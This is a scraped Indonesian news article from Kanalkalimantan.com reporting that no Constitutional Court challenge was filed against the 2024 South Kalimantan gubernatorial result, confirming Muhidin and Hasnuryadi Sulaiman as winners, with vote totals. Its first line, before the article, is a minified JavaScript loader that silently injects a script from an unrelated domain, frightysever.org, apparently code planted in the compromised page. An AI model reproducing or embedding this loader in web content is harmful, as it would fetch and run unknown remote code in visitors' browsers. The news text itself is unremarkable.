(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pasangan H Muhidin dan Hasnuryadi Sulaiman dipastikan bakal ditetapkan dan dilantik menjadi Gubernur dan Wakil Gubernur Kalimantan Selatan (Kalsel) periode 2024-2029.
Hal itu diketahui dari daftar register online Permohonan Perkara Pemilih Kepala Daerah (PHPKADA) di laman Mahkamah Konstitusi (MK) hingga Selasa (10/12/2024) malam, tanpa ada gugatan hasil Pemilihan Gubernur dan Wakil Gubernur Kalsel 2024.
Dimana berdasarkan ketentuan pasal 157 Undang-Undang Pilkada, permohonan PHPKADA paling lambat diajukan tiga hari terhitung sejak diumumkan penetapan hasil rekapitulasi penghitungan suara oleh KPU.
Sementara penetapan perolehan suara Pilgub Kalsel ditetapkan KPU Provinsi Kalsel dalam rapat pleno terbuka pada Sabtu (7/12/2024) pukul 20.00 Wita.
Baca juga: Korupsi Dana Bansos Rehabilitasi Rumah, Kabid di Tanbu dan Kontraktor Terdakwa
Sehingga dari tidak adanya gugatan sampai batas waktu pengajuan akhir, dipastikan pasangan Cagub dan Cawagub Kalsel nomor 2 Hj Raudhatul Jannah alias Acil dan Ahmad Rozanie Himawan Nugraha secara tidak langsung menerima hasil Pilgub Kalsel 2024.
Ketika dikonfirmasi, Cawagub nomor 2 membenarkan bahwa ia dn Acil Odah tidak ada mengajukan atau mendaftarkan sengketa Pilgub Kalsel ke MK.
“Setahu saja tidak ada (mengajukan gugatan),” katanya melalui pesan singkat, Rabu (11/12/2024).
Sebelumnya berdasarkan rekapitulasi Pilgub Kalsel, pasangan Muhidin-Hasnur meraih suara terbanyak dari paslon nomor 2 dengan meraih kemenangan di seluruh kabupaten/kota se Kalsel.
Baca juga: ATCS Tugu Adipura Banjarbaru Operasional, Dua U-Turn A Yani Ditutup
Akumulasi suara Cagub Cawagub Muhidin-Hasnur di 13 Kabupaten Kota se Kalsel ditetapkan sebanyak 1.629.456 suara sah.
Sementara pasangan Hj Raudhatul Jannah alias Acil Odah-Ahmad Rozanie Himawan Nugraha hanya memperoleh 348.118 suara sah.
Jumlah perolehan suara tersebut disampaikan Ketua KPU Kalsel Andi Tenri Sompa saat membacakan kesimpulan hasil rapat pleno penetapan perolehan suara Pilgub Kalsel di Hotel Fugo Banjarmasin, Sabtu (7/12/2024) malam.
“Hasil Pemilihan Gubernur dan Wakil Gubernur Provinsi Kalsel tahun 2024 sebagaimana dimaksudkan diktum kesatu dan kedua ditetapkan dan sebagaimana pengumuman hari Sabtu 7 Desember 2024 pukul 20.00 Wita. Keputusan ini mulai berlaku pada tanggal ditetapkan,” kata Andi Tenri Sompa.
Baca juga: Pemkab Banjar Luncurkan CSR Award 2025, Pastikan Program TSP Berjalan Selaras
Dan Model D Hasil yang memuat perolehan surat suara Pilgub Kalsel telah ditandatangani dan cap stempel oleh saksi kedua paslon, baik Acil Odah-Rozanie maupun Muhidin-Hasnur. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.